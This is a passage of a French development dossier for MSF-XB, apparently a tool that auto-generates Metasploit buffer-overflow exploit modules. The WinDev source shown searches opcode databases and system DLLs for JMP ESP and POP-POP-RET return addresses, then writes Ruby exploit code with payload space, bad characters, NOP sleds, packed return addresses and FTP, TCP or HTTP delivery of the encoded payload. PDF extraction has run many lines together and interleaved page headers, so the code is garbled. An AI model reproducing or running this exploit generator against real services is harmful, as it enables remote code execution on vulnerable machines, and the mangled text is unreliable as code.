
// "-i" => [ true, "Encode the contents of the supplied file path" ],// "-m" => [ true, "Specifies an additional module search path" ],// "-a" => [ true, "The architecture to encode as" ],// "-t" => [ true, "The format to display the encoded buffer with (raw, ruby, perl, c)" ],// "-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ],// "-s" => [ true, "The maximum size of the encoded data" ],// "-e" => [ true, "The encoder to use" ],// "-n" => [ false, "Dump encoder information" ],// "-h" => [ false, "Help banner" ],// "-l" => [ false, "List available encoders" ])

Clic sur GO//info(fctPescan(COMBO_RetType..ValeurAffichée, PAYLOAD_BADCHARS))//retour

SI FenEtat("MAIN")=Inexistant ALORS //En mode testOuvreSoeur(MSFXB_Editor,"test")MSFXB_Editor.EXPLOIT_CODE=""

FIN

//On crée un nouvel exploit à partir de rienSI SAI_APPLICATION="" ALORS

MSFXB_Editor.NOM="new" //"MSF-XB_New_Exploit"SINON

MSFXB_Editor.NOM=Remplace(Minuscule(SAI_APPLICATION), " ", "_")MSFXB_Editor.NOM=Remplace(MSFXB_Editor.NOM, "-", "_")SI COMBO_COMMANDE..ValeurAffichée<>"" ALORS

MSFXB_Editor.NOM+="_"+Remplace(Minuscule(COMBO_COMMANDE..ValeurAffichée), " ", "_")//Pour un ActiveX par exemple; on vire le "doublon"// MonActiveX_MonActiveX.MaCommande => MonActiveX_MaCommandeMSFXB_Editor.NOM=Remplace(MSFXB_Editor.NOM, ExtraitChaîne(MSFXB_Editor.NOM,1,"_")+".", "")MSFXB_Editor.NOM=Remplace(MSFXB_Editor.NOM,".","_")

FINFIN

//MSFXB_Editor.SCSelecteurFichier.SAIS_FIC=gsCheminMSF3+"home\framework\modules\exploits\"+ COMBO_TARGET..ValeurAffichée +"\"+ COMBO_PROTOCOLE..ValeurAffichée +"\" +"new.rb"

//MSFXB_Editor.SCSelecteurFichier.SAIS_FIC=gsCheminMSF3+"framework\modules\exploits\"+ COMBO_TARGET..ValeurAffichée +"\"+ combo_protocole..ValeurAffichée +"\"+ MSFXB_Editor.NOM+".rb"

Page 655: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 660

MSFXB_Editor.SCSelecteurFichier.SAIS_FIC=gsCheminMSF3+"modules\exploits\"+ COMBO_TARGET..ValeurAffichée +"\"+ COMBO_PROTOCOLE..ValeurAffichée +"\"+ MSFXB_Editor.NOM+".rb"

IF SAI_SPACE=0 ALORS SAI_SPACE=1000

//***************************************************************************************************************************************************************************************

sMonAdresseRetour is string="0x44444444"sMonAdresseRetourDescription is stringSI COMBO_RetType..ValeurAffichée<>"" ALORS

MSFXB_Editor.MON_OPCODE = COMBO_RetType..ValeurAffichée//Recherche d'une adresse de retour correspondante aux critères (OPCODE + OS + SP + LOCALE) dans la BDD d'opcodes locale//Construction du filtreMonFiltre is stringSI ChaîneOccurrence(SCSystème.ComboSystème..ValeurAffichée, "XP")>0 ALORS

MonFiltre+="OSnom='XP'"FINSI ChaîneOccurrence(SCSystème.ComboSystème..ValeurAffichée, "2000")>0 ALORS

MonFiltre+="OSnom='2000'"FINSI ChaîneOccurrence(SCSystème.ComboSystème..ValeurAffichée, "2003")>0 ALORS

MonFiltre+="OSnom='2003'"FINSI ChaîneOccurrence(SCSystème.ComboSystème..ValeurAffichée, "Vista")>0 ALORS

MonFiltre+="OSnom='Vista'"FINSI MonFiltre<>"" ALORS MonFiltre+=" ET "MonFiltre+="OSSP='"+COMBO_OSSP..ValeurAffichée+"'"SI ChaîneOccurrence(COMBO_RetType..ValeurAffichée, "pop")<1 ALORS

MON_OPCODE2 is string=""SI ChaîneOccurrence(Upper(COMBO_RetType..ValeurAffichée), "JMP")>0 ALORS MON_OPCODE2=Remplace(COMBO_RetType..ValeurAffichée, "jmp", "call")SI ChaîneOccurrence(Upper(COMBO_RetType..ValeurAffichée), "CALL")>0 ALORS MON_OPCODE2=Remplace(COMBO_RetType..ValeurAffichée, "call", "jmp")SI MON_OPCODE2<>"" ALORS

SI MonFiltre<>"" ALORS MonFiltre+=" ET "MonFiltre+="(OPCODE='"+COMBO_RetType..ValeurAffichée+"'"+" OU "+"OPCODE='"+MON_OPCODE2+"')"

SINONSI MonFiltre<>"" ALORS MonFiltre+=" ET "MonFiltre+="OPCODE='"+COMBO_RetType..ValeurAffichée+"'"

FINFIN

// si EnModeTest() alors info(MonFiltre)CléParcours is string

Page 656: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 661

SI MonFiltre<>"" ALORSCléParcours=HFiltre(OPcode, MonFiltre)

SINONCléParcours="OSNOM"

FIN// iTrouve is int=0

nNbLangues is int=0HLitPremier(OPcode,CléParcours)TANTQUE PAS HEnDehors

//info(opcode.OPcode)SI ChaîneOccurrence(COMBO_RetType..ValeurAffichée, "pop")>=2 ALORS

SI ChaîneOccurrence(OPcode.OPcode, "pop")>=2 ALORS// SI COMBO_LANGUE..ValeurAffichée<>"MULTI" OR (COMBO_LANGUE..ValeurAffichée="MULTI" AND Taille(OPcode.OSlangue)>3) ALORS

SI ChaîneOccurrence(OPcode.OSlangue, Upper(COMBO_Locale..ValeurAffichée))>0 ALORS//ListeAjoute(COMBO_ADRESSE_RETOUR_RECHERCHE,OPcode.Adresse+TAB+OPcode.OPcode+TAB+OPcode.DLLnom+TAB+OPcode.OSnom+" "+OPcode.OSversion+" SP"+OPcode.OSSP+TAB+OPcode.OSlangue)

SI Taille(OPcode.OSlangue)>nNbLangues ALORSnNbLangues=Taille(OPcode.OSlangue)sMonAdresseRetour="0x"+OPcode.AdressesMonAdresseRetourDescription=" # "+OPcode.OPcode+" "+OPcode.DLLnom+" "+OPcode.DLLversion+" ("+OPcode.OSlangue+")"

FIN// iTrouve=1FIN

FINSINON

// ADRESSE_RETOUR=opcode.Adresse// SI COMBO_LANGUE..ValeurAffichée<>"MULTI" OR (COMBO_LANGUE..ValeurAffichée="MULTI" AND Taille(OPcode.OSlangue)>3) ALORS

SI ChaîneOccurrence(OPcode.OSlangue, Upper(COMBO_Locale..ValeurAffichée))>0 ALORS//ListeAjoute(COMBO_ADRESSE_RETOUR_RECHERCHE,OPcode.Adresse+TAB+OPcode.OPcode+TAB+OPcode.DLLnom+TAB+OPcode.OSnom+" "+OPcode.OSversion+" SP"+OPcode.OSSP+TAB+OPcode.OSlangue)

SI Taille(OPcode.OSlangue)>nNbLangues ALORSnNbLangues=Taille(OPcode.OSlangue)sMonAdresseRetour="0x"+OPcode.AdressesMonAdresseRetourDescription=" # "+OPcode.OPcode+" "+OPcode.DLLnom+" "+OPcode.DLLversion+" ("+OPcode.OSlangue+")"

FIN// iTrouve=1FIN

FINHLitSuivant(OPcode,CléParcours)

FINFIN//***************************************************************************************************************************************************************************************

Page 657: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 662

MSFXB_Editor.VERSION="$Revision: 1 $"MSFXB_Editor.DATE_DIVULGATION=DateSys()SI SAI_NICK="" ALORS

MSFXB_Editor.AUTEURS="MSF-XB"SINON

MSFXB_Editor.AUTEURS=SAI_NICKFINMSFXB_Editor.ARCHITECTURE="x86"MSFXB_Editor.OS=COMBO_TARGET..ValeurAffichée

sProcVersion is string=NoSpace(SAI_PROCESSUS_VERSION)

MSFXB_Editor.DESCRIPTION="This is an exploit generated by MSF-XB by Jerome Athias - https://www.securinfos.info."SI SAI_APPLICATION<>"" ALORS

SI COMBO_COMMANDE..Visible=Vrai ET COMBO_COMMANDE..ValeurAffichée<>"" ALORSMSFXB_Editor.DESCRIPTION+=+RC+"It exploits a vulnerability in the "+COMBO_COMMANDE..ValeurAffichée+" command of "+Remplace(Minuscule(SAI_APPLICATION), " ", "_")+" "+sProcVersion

SINONMSFXB_Editor.DESCRIPTION+=+RC+"It exploits a vulnerability in "+Remplace(Minuscule(SAI_APPLICATION), " ", "_")+" "+sProcVersion

FINFIN

MSFXB_Editor.PAYLOAD_SPACE=1000 //SAI_SPACEMSFXB_Editor.PAYLOAD_BADCHARS=PAYLOAD_BADCHARS

//Détails sur l'appli vulnérableMSFXB_Editor.EXPLOIT_CODE+="##"+RCMSFXB_Editor.EXPLOIT_CODE+="# Target details:"+RCMSFXB_Editor.EXPLOIT_CODE+="# "+SAI_PROCESSUS+RC

SI sProcVersion<>"" ALORSsProcVersion=Remplace(Remplace(SAI_PROCESSUS_VERSION,",","."),RC,"")MSFXB_Editor.EXPLOIT_CODE+="# Version: "+ sProcVersion +RC//Pour la suite:sProcVersion="version "+sProcVersion

FINlpCmdLine is stringsValRetour is string//Récupération des checksums MD5 et SHA1 avec mycrcSI NoSpace(SAI_PROCESSUS)<>"" ALORS

SI fTaille(ComplèteRep(fRepEnCours()) + "TOOLZ\mycrc.exe") >0 ALORSlpCmdLine=Caract(34)+ComplèteRep(fRepEnCours()) + "TOOLZ\mycrc.exe"+Caract(34)+" "+Caract(34)+SAI_PROCESSUS+Caract(34)

MyDos:CommandLine_Let(lpCmdLine)

Page 658: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 663

//On récupère la valeur de retoursValRetour=MyDos:ExecuteCommand()sValRetour=Remplace(sValRetour, RC, "")

//MD5:MSFXB_Editor.EXPLOIT_CODE+="# MD5: " + NoSpace( ExtraitChaîne(ExtraitChaîne(sValRetour, 2, "MD5"), 1, "SHA1") ) +RC//SHA1:MSFXB_Editor.EXPLOIT_CODE+="# SHA1: " + NoSpace( ExtraitChaîne(sValRetour, 2, "SHA1") ) +RC

FINFINSI SAI_CLSID..Visible=Vrai ET SAI_CLSID<>"" ALORS

MSFXB_Editor.EXPLOIT_CODE+="# CLSID: " + SAI_CLSID +RC// si enmodetest() alors trace(SAI_CLSID)FINSI SAI_ProgID..Visible=Vrai ET SAI_ProgID<>"" ALORS

MSFXB_Editor.EXPLOIT_CODE+="# ProgID: " + SAI_ProgID +RCFIN

SI SAI_PROCESSUS_SOCIETE<>"" ALORSMSFXB_Editor.EXPLOIT_CODE+="# Editeur: "+SAI_PROCESSUS_SOCIETE +RC

FINMSFXB_Editor.EXPLOIT_CODE+="##"+RC+RC+RC

//MSFXB_Editor.SCRTF.SaisieTexte="require 'msf/core'"+RC+RCMSFXB_Editor.EXPLOIT_CODE+="require 'msf/core'"+RC+RCMSFXB_Editor.EXPLOIT_CODE+="module Msf"+RC+RC

//Il faut des valeurs avec la 1ère lettre en majusculesTARGET is string=Majuscule(Gauche(COMBO_TARGET..ValeurAffichée,1)) + Milieu(COMBO_TARGET..ValeurAffichée,2)sPROTOCOLE is string=Majuscule(Gauche(COMBO_PROTOCOLE..ValeurAffichée,1)) + Milieu(COMBO_PROTOCOLE..ValeurAffichée,2)

SI MSFXB_Editor.NOM<>"" ALORSMSFXB_Editor.EXPLOIT_CODE+="class Exploits::"+sTARGET+"::"+sPROTOCOLE+"::"+Upper(Gauche(MSFXB_Editor.NOM,1))+Milieu(MSFXB_Editor.NOM,2)+" < Msf::Exploit::Remote"+RC+RC //1ère lettre du nom en majuscule!

SINONMSFXB_Editor.EXPLOIT_CODE+="class Exploits::"+sTARGET+"::"+sPROTOCOLE+"::New < Msf::Exploit::Remote"+RC+RC //1ère lettre du nom en majuscule!

FIN

sDescriptionPlus is stringSI Upper(sPROTOCOLE)="HTTP" OU Upper(sPROTOCOLE)="BROWSER" ALORS

SI Upper(fExtraitChemin(SAI_PROCESSUS,fExtension))=".OCX" OU Upper(fExtraitChemin(SAI_PROCESSUS,fExtension))=".DLL" ALORS//On exploite un ActiveX

MSFXB_Editor.EXPLOIT_CODE+=TAB+"include Exploit::Remote::HttpServer::HTML"+RC+RCsDescriptionPlus="ActiveX control "

Page 659: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 664

SINONMSFXB_Editor.EXPLOIT_CODE+=TAB+"include Exploit::Remote::Tcp"+RC+RC

FINSINON

MSFXB_Editor.EXPLOIT_CODE+=TAB+"include Exploit::Remote::"+sPROTOCOLE+RC+RCFIN

MSFXB_Editor.EXPLOIT_CODE+=TAB+"def initialize(info = {})"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"super(update_info(info,"+RCSI SAI_APPLICATION="" ALORS

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"'Name' => '0new',"+RC //MSF-XB New ExploitMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"'Description' => %q{"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+"This is a new MSF-XB exploit."+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"},"+RC

SINONMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"'Name' => '"+ NoSpace(SAI_APPLICATION+" "+sDescriptionPlus+...

sProcVersion...+" "+COMBO_COMMANDE..ValeurAffichée) +"',"+RC

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"'Description' => %q{"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+"This module exploits a vulnerability in "IF COMBO_COMMANDE..ValeurAffichée<>"" THEN

MSFXB_Editor.EXPLOIT_CODE+="the "+COMBO_COMMANDE..ValeurAffichée+" command of "ENDMSFXB_Editor.EXPLOIT_CODE+=NoSpace(SAI_APPLICATION)+" "+sProcVersion+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"},"+RC

FIN

SI SAI_NICK<>"" ALORSMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"'Author' => [ '"+ SAI_NICK +"' ],"+RC

SINONMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"'Author' => 'MSF-XB',"+RC

FINMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"'License' => MSF_LICENSE,"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"'Version' => '$Revision: 1 $',"+RC

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"'References' =>"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+"["+RC//MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+"[ 'SECURINFOS', '"+DateSys()+"' ],"+RC// TableAjoute(MSFXB_Editor.TABLE_REFERENCE,"SECURINFOS"+TAB+datesys())MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+"[ 'SECURINFOS', '"+"http://securinfos.com"+"' ],"+RC

TableAjoute(MSFXB_Editor.TABLE_REFERENCE,"SECURINFOS"+TAB+"http://securinfos.com")MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+"],"+RC

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"'Privileged' => false,"+RC

Page 660: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 665

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"'DefaultOptions' =>"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+"{"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+"'EXITFUNC' => 'process'"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+"},"+RC

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"'Payload' =>"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+"{"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+"'Space' => "+SAI_SPACE+","+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+"'BadChars' => "+Caract(34)+PAYLOAD_BADCHARS+Caract(34)+","+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+" 'StackAdjustment' => -3500,"+RC //+"#MSF-XB: Peut être utile..."+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+"# 'Compat' =>"+RC //+"#MSF-XB: Peut être utile..."+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+"# {"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+TAB+"# 'ConnectionType' => "+Caract(34)+"-find"+Caract(34)+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+"# }"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+"},"+RC

SI Upper(sTARGET)="WINDOWS" ALORSMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"'Platform' => 'win',"+RC

FINMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"'Targets' => "+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+"["+RC

sMonAdresseRetourLocale is string// Recherche d'une adresse de retour valide pour le poste en coursSI COMBO_RetType..ValeurAffichée <> "" ALORS

sMaDLL is string="kernel32.dll"sMonAdresseRetourLocale=fctPescan(COMBO_RetType, PAYLOAD_BADCHARS, sMaDLL)SI sMonAdresseRetourLocale="" ALORS

sMaDLL="ntdll.dll"sMonAdresseRetourLocale=fctPescan(COMBO_RetType, PAYLOAD_BADCHARS, sMaDLL)SI sMonAdresseRetourLocale="" ALORS

sMaDLL="user32.dll"sMonAdresseRetourLocale=fctPescan(COMBO_RetType, PAYLOAD_BADCHARS, sMaDLL)SI sMonAdresseRetourLocale="" ALORS

sMaDLL="gdi32.dll"sMonAdresseRetourLocale=fctPescan(COMBO_RetType, PAYLOAD_BADCHARS, sMaDLL)SI sMonAdresseRetourLocale="" ALORS

sMaDLL="shell32.dll"sMonAdresseRetourLocale=fctPescan(COMBO_RetType, PAYLOAD_BADCHARS, sMaDLL)SI sMonAdresseRetourLocale="" ALORS

sMaDLL="ws2_32.dll"sMonAdresseRetourLocale=fctPescan(COMBO_RetType, PAYLOAD_BADCHARS, sMaDLL)SI sMonAdresseRetourLocale="" ALORS

sMaDLL="ws2help.dll"sMonAdresseRetourLocale=fctPescan(COMBO_RetType, PAYLOAD_BADCHARS, sMaDLL)

Page 661: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 666

FINFIN

FINFIN

FINFIN

FIN

nTargetNumber is int=0SI sMonAdresseRetourLocale<>"" ALORS

// Récupération du checksum MD5 de la DLL dans laquelle on a trouvé une adresse de retour locale validelpCmdLine=Caract(34)+ComplèteRep(fRepEnCours()) + "TOOLZ\mycrc.exe"+Caract(34)+" "+Caract(34)+ComplèteRep(SysRep(srSystème))+sMaDLL+Caract(34)

MyDos:CommandLine_Let(lpCmdLine)

//On récupère la valeur de retoursValRetour=MyDos:ExecuteCommand()//MD5:sValRetour = NoSpace( ExtraitChaîne(ExtraitChaîne(sValRetour, 2, "MD5"), 1, "SHA1") )//SHA1://sValSHA1 = NoSpace( ExtraitChaîne(sValRetour, 2, "SHA1") )sMonAdresseRetourLocaleDescription is string=" # "+COMBO_RetType..ValeurAffichée+" "+sMaDLL+" "+ExeInfo(exeVersion, ComplèteRep(SysRep(srSystème))+sMaDLL)+" ("+Upper(COMBO_Locale..ValeurAffichée)+") MD5: "+sValRetour

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+"# Target 0"+RC//MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+"[ 'Windows 2000 Pro SP4 Universal', { 'Platform' => 'win', 'Ret' => 0x77e04c29 } ], #USER32.DLL JMP ESP"+RC

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+"[ '"+ SCSystème.ComboSystème..ValeurAffichée +" SP"+ COMBO_OSSP..ValeurAffichée ...+" "+Upper(COMBO_Locale..ValeurAffichée) ... //Langue-Locale+"', { 'Platform' => 'win', 'Ret' => "+sMonAdresseRetourLocale+" } ], "+ sMonAdresseRetourLocaleDescription+RCListeAjoute(MSFXB_Editor.COMBO_TARGET,SCSystème.ComboSystème..ValeurAffichée+TAB+sMonAdresseRetour)

nTargetNumber=1FIN

//Détection auto de la target par JavaScript?SI INT_AUTO_JAVASCRIPT..Visible=Vrai ET INT_AUTO_JAVASCRIPT=1 ALORS

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+"# Target "+nTargetNumber+": Automatic via JavaScript"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+"[ 'Automatic JS', { } ],"+RC

SINONMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+"# Target "+nTargetNumber+RC//MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+"[ 'Windows 2000 Pro SP4 Universal', { 'Platform' => 'win', 'Ret' => 0x77e04c29 } ], #USER32.DLL JMP ESP"+RC

Page 662: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 667

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+"[ '"+ SCSystème.ComboSystème..ValeurAffichée +" SP"+ COMBO_OSSP..ValeurAffichée ...+" "+Upper(COMBO_Locale..ValeurAffichée) ... //Langue-Locale+"', { 'Platform' => 'win', 'Ret' => "+sMonAdresseRetour+" } ], "+ sMonAdresseRetourDescription+RC

ListeAjoute(MSFXB_Editor.COMBO_TARGET,SCSystème.ComboSystème..ValeurAffichée+TAB+sMonAdresseRetour)FIN

//!!! NOTES: Voir pour mettre ici l'offset en fonction du design de la table// [ 'Windows 2000 Pro English All', { 'Offset' => 396, 'Ret' => 0x75022ac4 } ],

MSFXB_Editor.COMBO_TARGET=1MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+"],"+RC

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"'DisclosureDate' => '"+DateSys()+"',"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"'DefaultTarget' => 0))"+RC

SI Upper(sPROTOCOLE)="HTTP" ALORSMSFXB_Editor.EXPLOIT_CODE+=RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"register_options( [ Opt::RPORT("+RPORT+") ], self.class )"+RC //A priori: RPORT=80

FIN

MSFXB_Editor.EXPLOIT_CODE+=TAB+"end"+RC+RC //initialize

SI Upper(fExtraitChemin(SAI_PROCESSUS,fExtension)) <> ".OCX" ET (Upper(fExtraitChemin(SAI_PROCESSUS,fExtension)) <> ".DLL" ET Upper(sPROTOCOLE)<>"HTTP") ALORS //On exploite PAS un ActiveX

//************************************************* EXPLOIT REMOTE *********************************MSFXB_Editor.EXPLOIT_CODE+=TAB+"def check"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"connect"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"sleep(0.25)"+RC

IF Upper(sPROTOCOLE)="HTTP" ALORSMSFXB_Editor.EXPLOIT_CODE+=RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"sock.put("+Caract(34)+"GET / HTTP/1.0\r\n\r\n"+Caract(34)+")"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"banner = sock.get_once"

END

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"disconnect"+RC

IF SAI_BANNIERE="" ALORSMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"if (banner =~ /"+"Bannière du service vulnérable"+"/)"+RC

SINONMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"if (banner =~ /"+ NoSpace(SAI_BANNIERE) +"/)"+RCIF ChaîneOccurrence(SAI_BANNIERE_NMAP, "does not support")=0 ALORS

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"# bannière nmap: "+SAI_BANNIERE_NMAP+RCEND

Page 663: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 668

FINMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"return Exploit::CheckCode::Vulnerable"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"end"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"return Exploit::CheckCode::Safe"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+"end"+RC+RC// FIN Check

// EXPLOITMSFXB_Editor.EXPLOIT_CODE+=TAB+"def exploit"+RCSELON COMBO_COMMANDE..ValeurAffichée

CAS "USER"MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"connect"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"sleep(0.25)"+RC+RC

CAS "PASS"MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"connect"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"sleep(0.25)"+RC+RC

SELON Upper(sPROTOCOLE)CAS "FTP"

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"send_user(datastore['FTPUSER'])"+RC+RCAUTRE CAS

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"send_user(datastore['USER'])"+RC+RCFIN

AUTRES CASSI RUSER="" ET RPASS="" ALORS // ET Upper(sPROTOCOLE)="HTTP"

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"connect"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"sleep(0.25)"+RC+RC

SINONMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"connect_login"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"sleep(0.25)"+RC+RC

FINFIN

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"print_status("+Caract(34)+"Trying target #{target.name}..."+Caract(34)+")"+RC+RC

SI SCFindReplaceTXT.SAI_PATTERN="" ALORSMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"sploit = Rex::Text.rand_text_alphanumeric("+SAI_SPACE+", payload_badchars) "+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"sploit << [target.ret].pack('V') + payload.encoded"+RC+RC

SINON// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"sploit = "+SAI_PATTERN+RC+RC

nLgNopSled is int=SAI_PATTERN_TAILLEnLgNopSled+=4MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"sploit = make_nops("+nLgNopSled+") + payload.encoded"+TAB+"#MSF-XB: Changer le nombre de nops selon le besoin"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"sploit["+SAI_SPACE+", 4] = [ target.ret ].pack('V')"+RC+RC

Page 664: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 669

FINMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"print_status("+Caract(34)+"Trying target #{target.name}..."+Caract(34)+")"+RC+RCSI COMBO_COMMANDE..ValeurAffichée="" THEN

SELON Upper(sPROTOCOLE)CAS "FTP"

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"send_cmd( ['SPECIAL_COMMAND', sploit] , false)"+ TAB+"#MSF-XB: Placer la commande qui déclenche le bogue ici"+RC+RC

AUTRE CASMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"sock.put( 'SPECIAL_COMMAND' + "+Caract(34)+" "+Caract(34)+" + sploit)"+ TAB+"#MSF-XB: Placer la commande qui déclenche le bogue ici"+RC+RC

FINSINON

SI Upper(sPROTOCOLE)="HTTP" ET COMBO_COMMANDE..ValeurAffichée="GET" ALORS

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"res = "+Caract(34)+"GET /"+Caract(34)+"+sploit+"+Caract(34)+" HTTP/1.1\r\n\r\n"+Caract(34)+RC

// print_status("Trying target %s" % target.name)

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"sock.put(res)"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"sock.close"+RC

SINONSELON Upper(sPROTOCOLE)

CAS "FTP"MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"send_cmd( ['"+ COMBO_COMMANDE..ValeurAffichée +"', sploit] , false)"+RC+RC

